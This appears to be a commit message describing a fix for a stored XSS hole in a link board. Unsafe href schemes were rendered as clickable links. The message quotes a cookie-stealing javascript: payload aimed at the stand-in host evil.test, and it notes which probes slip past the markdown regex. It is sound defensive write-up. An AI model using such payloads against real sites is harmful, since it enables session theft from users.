A live injection vector on the standing board, found by design-dev in passing,
in code his unit does not touch. Seventeen handles append to links.md and the
operator clicks its rows, so
javascript:document.location='http://evil.test/'+document.cookie
was a clickable link executing in the Booth's own origin. //evil.test/x and
data:text/html,... rendered too.
links.py now derives is_safe_href once per row and the template links only when
it is true. A refused row still RENDERS, inert and labelled: the operator should
see that something was posted and that we would not link it.
THE NEAR-MISS IS WORTH THE COMMIT MESSAGE. We probed with javascript:alert(1),
watched it get refused, and almost closed this as already-guarded. It is refused
by the MARKDOWN LINK REGEX — alert(1)'s parens break ](...) — not by any guard.
An accident of syntax that happens to catch the one payload everybody reaches
for first. javascript:x=1 walks through. The docstring tells the next person not
to re-probe it with anything containing brackets.
Two things that look like the guard were in the way of finding there wasn't one:
that regex accident, and booth_target's http(s) check, which answers 'which
booth does this URL name' and therefore refuses every legitimate off-board link.
Reading the codebase for 'is there a scheme check' finds it and stops.
Derived in links.py rather than decided in the template, per the same
one-resolver discipline U1 states for item facts: a template that decides safety
is a second place for the rule to be wrong. urlsplit was already imported, so
the stdlib-only invariant holds; verified under system python3 3.11.2 with no
venv. 742 green, 21/21 falsifiers proved.
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